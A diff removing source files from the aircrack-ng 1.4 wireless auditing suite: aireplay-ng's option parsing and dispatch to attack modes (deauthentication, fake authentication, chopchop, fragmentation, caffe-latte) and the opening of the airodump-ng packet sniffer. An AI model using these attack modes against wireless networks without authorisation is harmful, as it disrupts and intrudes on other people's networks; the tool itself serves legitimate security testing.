-			   {"bittest", 0, 0, 'B'},
-			   {"migmode", 0, 0, '8'},
-			   {"ignore-negative-one", 0, &opt.ignore_negative_one, 1},
-			   {"deauth-rc", 1, 0, 'Z'},
-			   {0, 0, 0, 0}};
-
-		int option = getopt_long(argc,
-								 argv,
-								 "b:d:s:m:n:u:v:t:Z:T:f:g:w:x:p:a:c:h:e:ji:r:k:"
-								 "l:y:o:q:Q0:1:23456789HFBDR",
-								 long_options,
-								 &option_index);
-
-		if (option < 0) break;
-
-		switch (option)
-		{
-			case 0:
-
-				break;
-
-			case ':':
-
-				printf("\"%s --help\" for help.\n", argv[0]);
-				return (1);
-
-			case '?':
-
-				printf("\"%s --help\" for help.\n", argv[0]);
-				return (1);
-
-			case 'b':
-
-				if (getmac(optarg, 1, opt.f_bssid) != 0)
-				{
-					printf("Invalid BSSID (AP MAC address).\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'd':
-
-				if (getmac(optarg, 1, opt.f_dmac) != 0)
-				{
-					printf("Invalid destination MAC address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 's':
-
-				if (getmac(optarg, 1, opt.f_smac) != 0)
-				{
-					printf("Invalid source MAC address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'm':
-
-				ret = sscanf(optarg, "%d", &opt.f_minlen);
-				if (opt.f_minlen < 0 || ret != 1)
-				{
-					printf("Invalid minimum length filter. [>=0]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'n':
-
-				ret = sscanf(optarg, "%d", &opt.f_maxlen);
-				if (opt.f_maxlen < 0 || ret != 1)
-				{
-					printf("Invalid maximum length filter. [>=0]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'u':
-
-				ret = sscanf(optarg, "%d", &opt.f_type);
-				if (opt.f_type < 0 || opt.f_type > 3 || ret != 1)
-				{
-					printf("Invalid type filter. [0-3]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'v':
-
-				ret = sscanf(optarg, "%d", &opt.f_subtype);
-				if (opt.f_subtype < 0 || opt.f_subtype > 15 || ret != 1)
-				{
-					printf("Invalid subtype filter. [0-15]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'T':
-				ret = sscanf(optarg, "%d", &opt.f_retry);
-				if ((opt.f_retry < 1) || (opt.f_retry > 65535) || (ret != 1))
-				{
-					printf("Invalid retry setting. [1-65535]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 't':
-
-				ret = sscanf(optarg, "%d", &opt.f_tods);
-				if ((opt.f_tods != 0 && opt.f_tods != 1) || ret != 1)
-				{
-					printf("Invalid tods filter. [0,1]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'f':
-
-				ret = sscanf(optarg, "%d", &opt.f_fromds);
-				if ((opt.f_fromds != 0 && opt.f_fromds != 1) || ret != 1)
-				{
-					printf("Invalid fromds filter. [0,1]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'w':
-
-				ret = sscanf(optarg, "%d", &opt.f_iswep);
-				if ((opt.f_iswep != 0 && opt.f_iswep != 1) || ret != 1)
-				{
-					printf("Invalid wep filter. [0,1]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'x':
-
-				ret = sscanf(optarg, "%d", &opt.r_nbpps);
-				if (opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1)
-				{
-					printf("Invalid number of packets per second. [1-1024]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'Z':
-
-				ret = sscanf(optarg, "%hhu", &opt.deauth_rc);
-				if (ret != 1)
-				{
-					printf("Invalid deauth reason. [0-254]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'o':
-
-				ret = sscanf(optarg, "%d", &opt.npackets);
-				if (opt.npackets < 0 || opt.npackets > 512 || ret != 1)
-				{
-					printf("Invalid number of packets per burst. [0-512]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'q':
-
-				ret = sscanf(optarg, "%d", &opt.delay);
-				if (opt.delay < 1 || opt.delay > 600 || ret != 1)
-				{
-					printf("Invalid number of seconds. [1-600]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'Q':
-
-				opt.reassoc = 1;
-				break;
-
-			case 'p':
-
-				ret = sscanf(optarg, "%x", &opt.r_fctrl);
-				if (opt.r_fctrl < 0 || opt.r_fctrl > 65535 || ret != 1)
-				{
-					printf("Invalid frame control word. [0-65535]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'a':
-
-				if (getmac(optarg, 1, opt.r_bssid) != 0)
-				{
-					printf("Invalid AP MAC address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'c':
-
-				if (getmac(optarg, 1, opt.r_dmac) != 0)
-				{
-					printf("Invalid destination MAC address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'g':
-
-				ret = sscanf(optarg, "%d", &opt.ringbuffer);
-				if (opt.ringbuffer < 1 || ret != 1)
-				{
-					printf("Invalid replay ring buffer size. [>=1]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'h':
-
-				if (getmac(optarg, 1, opt.r_smac) != 0)
-				{
-					printf("Invalid source MAC address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.r_smac_set = 1;
-				break;
-
-			case 'e':
-
-				memset(opt.r_essid, 0, sizeof(opt.r_essid));
-				strncpy(opt.r_essid, optarg, sizeof(opt.r_essid) - 1);
-				break;
-
-			case 'j':
-
-				opt.r_fromdsinj = 1;
-				break;
-
-			case 'D':
-
-				opt.nodetect = 1;
-				break;
-
-			case 'k':
-
-				inet_aton(optarg, (struct in_addr *) opt.r_dip);
-				break;
-
-			case 'l':
-
-				inet_aton(optarg, (struct in_addr *) opt.r_sip);
-				break;
-
-			case 'y':
-
-				if (opt.prga != NULL)
-				{
-					printf("PRGA file already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				if (read_prga(&(opt.prga), optarg) != 0)
-				{
-					return (1);
-				}
-				break;
-
-			case 'i':
-
-				if (opt.s_face != NULL || opt.s_file)
-				{
-					printf("Packet source already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.s_face = optarg;
-				opt.port_in
-					= get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in) - 1);
-				break;
-
-			case 'r':
-
-				if (opt.s_face != NULL || opt.s_file)
-				{
-					printf("Packet source already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.s_file = optarg;
-				break;
-
-			case 'z':
-
-				opt.ghost = 1;
-
-				break;
-
-			case '0':
-
-				if (opt.a_mode != -1)
-				{
-					printf("Attack mode already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.a_mode = 0;
-
-				for (i = 0; optarg[i] != 0; i++)
-				{
-					if (isdigit((int) optarg[i]) == 0) break;
-				}
-
-				ret = sscanf(optarg, "%d", &opt.a_count);
-				if (opt.a_count < 0 || optarg[i] != 0 || ret != 1)
-				{
-					printf("Invalid deauthentication count or missing value. "
-						   "[>=0]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case '1':
-
-				if (opt.a_mode != -1)
-				{
-					printf("Attack mode already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.a_mode = 1;
-
-				for (i = 0; optarg[i] != 0; i++)
-				{
-					if (isdigit((int) optarg[i]) == 0) break;
-				}
-
-				ret = sscanf(optarg, "%d", &opt.a_delay);
-				if (opt.a_delay < 0 || optarg[i] != 0 || ret != 1)
-				{
-					printf("Invalid reauthentication delay or missing value. "
-						   "[>=0]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case '2':
-
-				if (opt.a_mode != -1)
-				{
-					printf("Attack mode already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.a_mode = 2;
-				break;
-
-			case '3':
-
-				if (opt.a_mode != -1)
-				{
-					printf("Attack mode already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.a_mode = 3;
-				break;
-
-			case '4':
-
-				if (opt.a_mode != -1)
-				{
-					printf("Attack mode already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.a_mode = 4;
-				break;
-
-			case '5':
-
-				if (opt.a_mode != -1)
-				{
-					printf("Attack mode already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.a_mode = 5;
-				break;
-
-			case '6':
-
-				if (opt.a_mode != -1)
-				{
-					printf("Attack mode already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.a_mode = 6;
-				break;
-
-			case '7':
-
-				if (opt.a_mode != -1)
-				{
-					printf("Attack mode already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.a_mode = 7;
-				break;
-
-			case '9':
-
-				if (opt.a_mode != -1)
-				{
-					printf("Attack mode already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.a_mode = 9;
-				break;
-
-			case '8':
-
-				if (opt.a_mode != -1)
-				{
-					printf("Attack mode already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.a_mode = 8;
-				break;
-
-			case 'F':
-
-				opt.fast = 1;
-				break;
-
-			case 'B':
-
-				opt.bittest = 1;
-				break;
-
-			case 'H':
-
-				printf(usage,
-					   getVersion("Aireplay-ng",
-								  _MAJ,
-								  _MIN,
-								  _SUB_MIN,
-								  _REVISION,
-								  _BETA,
-								  _RC));
-				return (1);
-
-			case 'R':
-
-				opt.rtc = 0;
-				break;
-
-			default:
-				goto usage;
-		}
-	}
-
-	if (argc - optind != 1)
-	{
-		if (argc == 1)
-		{
-		usage:
-			printf(usage,
-				   getVersion("Aireplay-ng",
-							  _MAJ,
-							  _MIN,
-							  _SUB_MIN,
-							  _REVISION,
-							  _BETA,
-							  _RC));
-		}
-		if (argc - optind == 0)
-		{
-			printf("No replay interface specified.\n");
-		}
-		if (argc > 1)
-		{
-			printf("\"%s --help\" for help.\n", argv[0]);
-		}
-		return (1);
-	}
-
-	if (opt.a_mode == -1)
-	{
-		printf("Please specify an attack mode.\n");
-		printf("\"%s --help\" for help.\n", argv[0]);
-		return (1);
-	}
-
-	if ((opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen)
-	{
-		printf("Invalid length filter (min(-m):%d > max(-n):%d).\n",
-			   opt.f_minlen,
-			   opt.f_maxlen);
-		printf("\"%s --help\" for help.\n", argv[0]);
-		return (1);
-	}
-
-	if (opt.f_tods == 1 && opt.f_fromds == 1)
-	{
-		printf("FromDS and ToDS bit are set: packet has to come from the AP "
-			   "and go to the AP\n");
-	}
-
-	dev.fd_rtc = -1;
-
-/* open the RTC device if necessary */
-
-#if defined(__i386__)
-#if defined(linux)
-	if (opt.a_mode > 1)
-	{
-		if ((dev.fd_rtc = open("/dev/rtc0", O_RDONLY)) < 0)
-		{
-			dev.fd_rtc = 0;
-		}
-
-		if ((dev.fd_rtc == 0)
-			&& ((dev.fd_rtc = open("/dev/rtc", O_RDONLY)) < 0))
-		{
-			dev.fd_rtc = 0;
-		}
-		if (opt.rtc == 0)
-		{
-			dev.fd_rtc = -1;
-		}
-		if (dev.fd_rtc > 0)
-		{
-			if (ioctl(dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION) < 0)
-			{
-				perror("ioctl(RTC_IRQP_SET) failed");
-				printf("Make sure enhanced rtc device support is enabled in "
-					   "the kernel (module\n"
-					   "rtc, not genrtc) - also try 'echo 1024 "
-					   ">/proc/sys/dev/rtc/max-user-freq'.\n");
-				close(dev.fd_rtc);
-				dev.fd_rtc = -1;
-			}
-			else
-			{
-				if (ioctl(dev.fd_rtc, RTC_PIE_ON, 0) < 0)
-				{
-					perror("ioctl(RTC_PIE_ON) failed");
-					close(dev.fd_rtc);
-					dev.fd_rtc = -1;
-				}
-			}
-		}
-		else
-		{
-			printf("For information, no action required:"
-				   " Using gettimeofday() instead of /dev/rtc\n");
-			dev.fd_rtc = -1;
-		}
-	}
-#endif /* linux */
-#endif /* i386 */
-
-	opt.iface_out = argv[optind];
-	opt.port_out
-		= get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out) - 1);
-
-	// don't open interface(s) when using test mode and airserv
-	if (!(opt.a_mode == 9 && opt.port_out >= 0))
-	{
-		/* open the replay interface */
-		_wi_out = wi_open(opt.iface_out);
-		if (!_wi_out) return 1;
-		dev.fd_out = wi_fd(_wi_out);
-
-		/* open the packet source */
-		if (opt.s_face != NULL)
-		{
-			// don't open interface(s) when using test mode and airserv
-			if (!(opt.a_mode == 9 && opt.port_in >= 0))
-			{
-				_wi_in = wi_open(opt.s_face);
-				if (!_wi_in) return 1;
-				dev.fd_in = wi_fd(_wi_in);
-				wi_get_mac(_wi_in, dev.mac_in);
-			}
-		}
-		else
-		{
-			_wi_in = _wi_out;
-			dev.fd_in = dev.fd_out;
-
-			/* XXX */
-			dev.arptype_in = dev.arptype_out;
-			wi_get_mac(_wi_in, dev.mac_in);
-		}
-
-		wi_get_mac(_wi_out, dev.mac_out);
-	}
-
-	/* drop privileges */
-	if (setuid(getuid()) == -1)
-	{
-		perror("setuid");
-	}
-
-	/* XXX */
-	if (opt.r_nbpps == 0)
-	{
-		if (dev.is_wlanng || dev.is_hostap)
-			opt.r_nbpps = 200;
-		else
-			opt.r_nbpps = 500;
-	}
-
-	if (opt.s_file != NULL)
-	{
-		if (!(dev.f_cap_in = fopen(opt.s_file, "rb")))
-		{
-			perror("open failed");
-			return (1);
-		}
-
-		n = sizeof(struct pcap_file_header);
-
-		if (fread(&dev.pfh_in, 1, n, dev.f_cap_in) != (size_t) n)
-		{
-			perror("fread(pcap file header) failed");
-			return (1);
-		}
-
-		if (dev.pfh_in.magic != TCPDUMP_MAGIC
-			&& dev.pfh_in.magic != TCPDUMP_CIGAM)
-		{
-			fprintf(stderr,
-					"\"%s\" isn't a pcap file (expected "
-					"TCPDUMP_MAGIC).\n",
-					opt.s_file);
-			return (1);
-		}
-
-		if (dev.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(dev.pfh_in.linktype);
-
-		if (dev.pfh_in.linktype != LINKTYPE_IEEE802_11
-			&& dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER
-			&& dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
-			&& dev.pfh_in.linktype != LINKTYPE_PPI_HDR)
-		{
-			fprintf(stderr,
-					"Wrong linktype from pcap file header "
-					"(expected LINKTYPE_IEEE802_11) -\n"
-					"this doesn't look like a regular 802.11 "
-					"capture.\n");
-			return (1);
-		}
-	}
-
-	// if there is no -h given, use default hardware mac
-	if (maccmp(opt.r_smac, NULL_MAC) == 0)
-	{
-		memcpy(opt.r_smac, dev.mac_out, 6);
-		if (opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9)
-		{
-			printf("No source MAC (-h) specified. Using the device MAC "
-				   "(%02X:%02X:%02X:%02X:%02X:%02X)\n",
-				   dev.mac_out[0],
-				   dev.mac_out[1],
-				   dev.mac_out[2],
-				   dev.mac_out[3],
-				   dev.mac_out[4],
-				   dev.mac_out[5]);
-		}
-	}
-
-	if (maccmp(opt.r_smac, dev.mac_out) != 0
-		&& maccmp(opt.r_smac, NULL_MAC) != 0)
-	{
-		//        if( dev.is_madwifi && opt.a_mode == 5 ) printf("For --fragment
-		//        to work on madwifi[-ng], set the interface MAC according to
-		//        (-h)!\n");
-		fprintf(stderr,
-				"The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)"
-				" doesn't match the specified MAC (-h).\n"
-				"\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n",
-				dev.mac_out[0],
-				dev.mac_out[1],
-				dev.mac_out[2],
-				dev.mac_out[3],
-				dev.mac_out[4],
-				dev.mac_out[5],
-				opt.iface_out,
-				opt.r_smac[0],
-				opt.r_smac[1],
-				opt.r_smac[2],
-				opt.r_smac[3],
-				opt.r_smac[4],
-				opt.r_smac[5]);
-	}
-
-	switch (opt.a_mode)
-	{
-		case 0:
-			return (do_attack_deauth());
-		case 1:
-			return (do_attack_fake_auth());
-		case 2:
-			return (do_attack_interactive());
-		case 3:
-			return (do_attack_arp_resend());
-		case 4:
-			return (do_attack_chopchop());
-		case 5:
-			return (do_attack_fragment());
-		case 6:
-			return (do_attack_caffe_latte());
-		case 7:
-			return (do_attack_cfrag());
-		case 8:
-			return (do_attack_migmode());
-		case 9:
-			return (do_attack_test());
-		default:
-			break;
-	}
-
-	/* that's all, folks */
-
-	return (0);
-}

aircrack-ng-1.4.tar.gz/src/airodump-ng.c Deleted

@@ -1,8546 +0,0 @@
-/*
- *  pcap-compatible 802.11 packet sniffer
- *
- *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *  Copyright (C) 2004, 2005 Christophe Devine
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#define _GNU_SOURCE
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <sys/ioctl.h>
-#include <sys/wait.h>
-#include <sys/time.h>
-
-#ifndef TIOCGWINSZ
-#include <sys/termios.h>
-#endif
-
-#include <netinet/in.h>
-#include <arpa/inet.h>
-#include <unistd.h>
-#include <signal.h>
-#include <string.h>
-#include <stdlib.h>
-#define _WITH_DPRINTF
-#include <stdio.h>
-#include <ctype.h>
-#include <errno.h>
-#include <time.h>
-#include <getopt.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <termios.h>
-#include <limits.h>
-
-#include <sys/wait.h>
-
-#ifdef HAVE_PCRE
-#include <pcre.h>
-#endif
-
-#include "version.h"
-#include "pcap.h"
-#include "uniqueiv.h"
-#include "crypto.h"
-#include "aircrack-osdep/channel.h"
-#include "aircrack-osdep/osdep.h"
-#include "airodump-ng.h"
-#include "aircrack-osdep/common.h"
-#include "aircrack-util/common.h"
-#include "aircrack-util/mcs_index_rates.h"
-#include "aircrack-util/verifyssid.h"
-#include "aircrack-util/console.h"
-
-// libgcrypt thread callback definition for libgcrypt < 1.6.0
-#ifdef USE_GCRYPT
-#if GCRYPT_VERSION_NUMBER < 0x010600
-GCRY_THREAD_OPTION_PTHREAD_IMPL;
-#endif
-#endif
-
-#define ArrayCount(a) (sizeof((a)) / sizeof((a)[0]))
-
-static void dump_sort(void);
-static void dump_print(int ws_row, int ws_col, int if_num);
-
-static char * get_manufacturer_from_string(char * buffer)
-{
-	char * manuf = NULL;
-	char * buffer_manuf;
-	if (buffer != NULL && strlen(buffer) > 0)
-	{
-		buffer_manuf = strstr(buffer, "(hex)");
-		if (buffer_manuf != NULL)
-		{
-			buffer_manuf += 6; // skip '(hex)' and one more character (there's
-			// at least one 'space' character after that
-			// string)
-			while (*buffer_manuf == '\t' || *buffer_manuf == ' ')
-			{
-				++buffer_manuf;
-			}
-
-			// Did we stop at the manufacturer
-			if (*buffer_manuf != '\0')
-			{
-
-				// First make sure there's no end of line
-				if (buffer_manuf[strlen(buffer_manuf) - 1] == '\n'
-					|| buffer_manuf[strlen(buffer_manuf) - 1] == '\r')
-				{
-					buffer_manuf[strlen(buffer_manuf) - 1] = '\0';
-					if (*buffer_manuf != '\0'
-						&& (buffer_manuf[strlen(buffer_manuf) - 1] == '\n'
-							|| buffer[strlen(buffer_manuf) - 1] == '\r'))
-					{
-						buffer_manuf[strlen(buffer_manuf) - 1] = '\0';
-					}
-				}
-				if (*buffer_manuf != '\0')
-				{
-					if ((manuf = (char *) malloc((strlen(buffer_manuf) + 1)
-												 * sizeof(char)))
-						== NULL)
-					{
-						perror("malloc failed");
-						return NULL;
-					}
-					snprintf(
-						manuf, strlen(buffer_manuf) + 1, "%s", buffer_manuf);
-				}
-			}
-		}
-	}
-
-	return manuf;
-}
-
-static void resetSelection(void)
-{
-	G.sort_by = SORT_BY_POWER;
-	G.sort_inv = 1;
-
-	G.start_print_ap = 1;
-	G.start_print_sta = 1;
-	G.selected_ap = 1;
-	G.selected_sta = 1;
-	G.selection_ap = 0;
-	G.selection_sta = 0;
-	G.mark_cur_ap = 0;
-	G.skip_columns = 0;
-	G.do_pause = 0;
-	G.do_sort_always = 0;
-	memset(G.selected_bssid, '\x00', 6);
-}
-
-static void input_thread(void * arg)
-{
-
-	if (!arg)
-	{
-	}
-
-	while (G.do_exit == 0)
-	{
-		int keycode = 0;
-
-		keycode = mygetch();
-
-		if (keycode == KEY_s)
-		{
-			G.sort_by++;
-			G.selection_ap = 0;
-			G.selection_sta = 0;
-
-			if (G.sort_by > MAX_SORT) G.sort_by = 0;
-
-			switch (G.sort_by)
-			{
-				case SORT_BY_NOTHING:
-					snprintf(G.message,
-							 sizeof(G.message),
-							 "][ sorting by first seen");
-					break;
-				case SORT_BY_BSSID:
-					snprintf(
-						G.message, sizeof(G.message), "][ sorting by bssid");
-					break;
-				case SORT_BY_POWER:
-					snprintf(G.message,
-							 sizeof(G.message),
-							 "][ sorting by power level");
-					break;
-				case SORT_BY_BEACON:
-					snprintf(G.message,
-							 sizeof(G.message),
-							 "][ sorting by beacon number");
-					break;
-				case SORT_BY_DATA:
-					snprintf(G.message,
-							 sizeof(G.message),
-							 "][ sorting by number of data packets");
-					break;
-				case SORT_BY_PRATE:
-					snprintf(G.message,
-							 sizeof(G.message),
-							 "][ sorting by packet rate");
-					break;
-				case SORT_BY_CHAN:
-					snprintf(
-						G.message, sizeof(G.message), "][ sorting by channel");
-					break;
-				case SORT_BY_MBIT:
-					snprintf(G.message,
-							 sizeof(G.message),
-							 "][ sorting by max data rate");
-					break;
-				case SORT_BY_ENC:
-					snprintf(G.message,
-							 sizeof(G.message),
-							 "][ sorting by encryption");
-					break;
-				case SORT_BY_CIPHER:
-					snprintf(
-						G.message, sizeof(G.message), "][ sorting by cipher");
-					break;
-				case SORT_BY_AUTH:
-					snprintf(G.message,
-							 sizeof(G.message),
-							 "][ sorting by authentication");
-					break;
-				case SORT_BY_ESSID:
-					snprintf(
-						G.message, sizeof(G.message), "][ sorting by ESSID");
-					break;
-				default:
-					break;
-			}
-			pthread_mutex_lock(&(G.mx_sort));
-			dump_sort();
-			pthread_mutex_unlock(&(G.mx_sort));
-		}
-
-		if (keycode == KEY_SPACE)
-		{
-			G.do_pause = (G.do_pause + 1) % 2;
-			if (G.do_pause)
-			{
-				snprintf(G.message, sizeof(G.message), "][ paused output");
-				pthread_mutex_lock(&(G.mx_print));
-
-				moveto(1, 1);
-				dump_print(G.ws.ws_row, G.ws.ws_col, G.num_cards);
-				erase_display(0);
-
-				pthread_mutex_unlock(&(G.mx_print));
-			}
-			else
-				snprintf(G.message, sizeof(G.message), "][ resumed output");
-		}
-
-		if (keycode == KEY_r)
-		{
-			G.do_sort_always = (G.do_sort_always + 1) % 2;
-			if (G.do_sort_always)
-				snprintf(G.message,
-						 sizeof(G.message),
-						 "][ realtime sorting activated");
-			else
-				snprintf(G.message,
-						 sizeof(G.message),
-						 "][ realtime sorting deactivated");
-		}
-
-		if (keycode == KEY_m)
-		{
-			G.mark_cur_ap = 1;
-		}
-
-		if (keycode == KEY_ARROW_DOWN)
-		{
-			if (G.selection_ap == 1)
-			{
-				G.selected_ap++;
-			}
-			if (G.selection_sta == 1)
-			{
-				G.selected_sta++;
-			}
-		}
-
-		if (keycode == KEY_ARROW_UP)
-		{
-			if (G.selection_ap == 1)
-			{
-				G.selected_ap--;
-				if (G.selected_ap < 1) G.selected_ap = 1;
-			}
-			if (G.selection_sta == 1)
-			{
-				G.selected_sta--;
-				if (G.selected_sta < 1) G.selected_sta = 1;
-			}
-		}
-
-		if (keycode == KEY_i)
-		{
-			G.sort_inv *= -1;
-			if (G.sort_inv < 0)
-				snprintf(
-					G.message, sizeof(G.message), "][ inverted sorting order");
-			else
-				snprintf(
-					G.message, sizeof(G.message), "][ normal sorting order");
-		}
-
-		if (keycode == KEY_TAB)
-		{
-			if (G.selection_ap == 0)
-			{
-				G.selection_ap = 1;
-				G.selected_ap = 1;
-				snprintf(
-					G.message, sizeof(G.message), "][ enabled AP selection");
-				G.sort_by = SORT_BY_NOTHING;
-			}
-			else if (G.selection_ap == 1)
-			{
-				G.selection_ap = 0;
-				G.sort_by = SORT_BY_NOTHING;
-				snprintf(G.message, sizeof(G.message), "][ disabled selection");
-			}
-		}
-
-		if (keycode == KEY_a)
-		{
-			if (G.show_ap == 1 && G.show_sta == 1 && G.show_ack == 0)
-			{
-				G.show_ap = 1;
-				G.show_sta = 1;
-				G.show_ack = 1;
-				snprintf(G.message, sizeof(G.message), "][ display ap+sta+ack");
-			}
-			else if (G.show_ap == 1 && G.show_sta == 1 && G.show_ack == 1)
-			{
-				G.show_ap = 1;
-				G.show_sta = 0;
-				G.show_ack = 0;
-				snprintf(G.message, sizeof(G.message), "][ display ap only");
-			}
-			else if (G.show_ap == 1 && G.show_sta == 0 && G.show_ack == 0)
-			{
-				G.show_ap = 0;
-				G.show_sta = 1;
-				G.show_ack = 0;
-				snprintf(G.message, sizeof(G.message), "][ display sta only");
-			}
-			else if (G.show_ap == 0 && G.show_sta == 1 && G.show_ack == 0)
-			{
-				G.show_ap = 1;
-				G.show_sta = 1;
-				G.show_ack = 0;
-				snprintf(G.message, sizeof(G.message), "][ display ap+sta");
-			}
-		}
-
-		if (keycode == KEY_d)
-		{
-			resetSelection();
-			snprintf(
-				G.message, sizeof(G.message), "][ reset selection to default");
-		}
-
-		if (G.do_exit == 0 && !G.do_pause)
-		{
-			pthread_mutex_lock(&(G.mx_print));
-
-			moveto(1, 1);
-			dump_print(G.ws.ws_row, G.ws.ws_col, G.num_cards);
-			erase_display(0);
-
-			pthread_mutex_unlock(&(G.mx_print));
-		}
-	}
-}
-
-static void trim(char * str)
-{
-	int i;
-	int begin = 0;
-	int end = strlen(str) - 1;
-
-	while (isspace((int) str[begin])) begin++;
-	while ((end >= begin) && isspace((int) str[end])) end--;
-	// Shift all characters back to the start of the string array.
-	for (i = begin; i <= end; i++) str[i - begin] = str[i];
-	str[i - begin] = '\0'; // Null terminate string.
-}
-
-static FILE * open_oui_file(void)
-{
-	int i;
-	FILE * fp = NULL;
-
-	for (i = 0; OUI_PATHS[i] != NULL; i++)
-	{
-		fp = fopen(OUI_PATHS[i], "r");
-		if (fp != NULL)
-		{
-			break;
-		}
-	}
-
-	return fp;
-}
-
-static struct oui * load_oui_file(void)
-{
-	FILE * fp;
-	char * manuf;
-	char buffer[BUFSIZ];
-	unsigned char a[2];
-	unsigned char b[2];
-	unsigned char c[2];
-	struct oui *oui_ptr = NULL, *oui_head = NULL;
-
-	fp = open_oui_file();
-	if (!fp)
-	{
-		return NULL;
-	}
-
-	memset(buffer, 0x00, sizeof(buffer));
-	while (fgets(buffer, sizeof(buffer), fp) != NULL)
-	{
-		if (!(strstr(buffer, "(hex)"))) continue;
-
-		memset(a, 0x00, sizeof(a));
-		memset(b, 0x00, sizeof(b));
-		memset(c, 0x00, sizeof(c));
-		// Remove leading/trailing whitespaces.
-		trim(buffer);
-		if (sscanf(buffer, "%2c-%2c-%2c", a, b, c) == 3)
-		{
-			if (oui_ptr == NULL)
-			{
-				if (!(oui_ptr = (struct oui *) malloc(sizeof(struct oui))))
-				{
-					fclose(fp);
-					perror("malloc failed");
-					return NULL;
-				}
-			}
-			else
-			{
-				if (!(oui_ptr->next
-					  = (struct oui *) malloc(sizeof(struct oui))))
-				{
-					fclose(fp);
-					perror("malloc failed");
-
-					while (oui_head != NULL)
-					{
-						oui_ptr = oui_head->next;
-						free(oui_head);
-						oui_head = oui_ptr;
-					}
-					return NULL;
-				}
-				oui_ptr = oui_ptr->next;
-			}
